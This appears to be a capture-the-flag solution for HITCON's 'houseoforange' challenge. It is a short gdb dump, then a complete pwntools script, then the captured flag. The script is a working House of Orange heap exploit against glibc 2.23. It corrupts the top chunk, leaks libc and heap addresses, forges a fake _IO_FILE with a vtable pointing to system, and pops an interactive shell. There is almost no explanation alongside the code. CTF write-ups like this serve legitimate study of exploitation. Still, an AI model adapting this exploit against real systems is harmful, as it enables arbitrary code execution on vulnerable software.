0x0000000000000000 gdb-peda$ p &main_arena.top $14 = (mchunkptr *) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ gdb-peda$ x/gx 0x00007ffff7dd1b78 0x7ffff7dd1b78 <main_arena+88>: 0x000055555577a010 gdb-peda$ |
from pwn import *
p = process('./houseoforange_22785bece84189e632567da38e4be0e0c4bb1682')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def Build(len,name):
p.recvuntil('Your choice : ')
p.sendline('1')
p.recvuntil('Length of name :')
p.sendline(str(len))
p.recvuntil('Name :')
p.sendline(name)
p.recvuntil('Price of Orange:')
p.sendline(str(100))
p.recvuntil('Color of Orange:')
p.sendline(str(1))
def See():
p.recvuntil('Your choice : ')
p.sendline('2')
tmp = p.recvuntil('Price')
data = (tmp.split('\n')[1]).ljust(8,'\x00')
return data
def Upgrade(len,name):
p.recvuntil('Your choice : ')
p.sendline('3')
p.recvuntil('Length of name :')
p.sendline(str(len))
p.recvuntil('Name:')
p.sendline(name)
p.recvuntil('Price of Orange:')
p.sendline(str(200))
p.recvuntil('Color of Orange:')
p.sendline(str(2))
Build(128,'HEAP')
#Change top size
payload = 'A' * 144
payload += p32(0xDEAD) + p32(0x20) + p64(0)
payload += p64(0) + p64(0xf31)
Upgrade(177,payload)
Build(4096,"HEAP")
#Leak Libc Address
Build(1024,"LEAKADD")
leakLibcAddr = u64(See())
libcAddrBase = leakLibcAddr - 0x3c5188
log.info('Leak Libc Addr : ' + hex(leakLibcAddr))
log.info('Leak Liba Addr Base : ' + hex(libcAddrBase))
#Leak Heap Address
Upgrade(1024,'B'*15)
leakHeapAddr = u64(See())
leakHeapAddr -= 0x130
log.info('Leak Heap Addr : ' + hex(leakHeapAddr))
#Payload Info
io_list_all = libcAddrBase + libc.symbols['_IO_list_all']
system = libcAddrBase + libc.symbols['system']
vtable = leakHeapAddr + 0x658
log.info('io_list_all : ' + hex(io_list_all))
log.info('system : ' + hex(system))
log.info('vtable : ' + hex(vtable))
payload = "C" * 1056
#Write to "Fake struct _IO_FILE_plus", " Fake struct _IO_wide_data"
stream = "/bin/sh\x00" + p64(0x61)
stream += p64(0xddaa) + p64(io_list_all-0x10)
stream = stream.ljust(0xa0,"\x00")
stream += p64(leakHeapAddr+0x700-0xd0)
stream = stream.ljust(0xc0,"\x00")
stream += p64(1)
payload += stream
payload += p64(0)*2
payload += p64(vtable)
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(0)*3
payload += p64(system)
Upgrade(2048,payload)
p.recvuntil(":")
p.sendline("1")
p.interactive() |
| Flag | hitcon{Y0ur_4r3_the_g0d_of_h34p_4nd_Or4ng3_is_s0_4ngry} |
|---|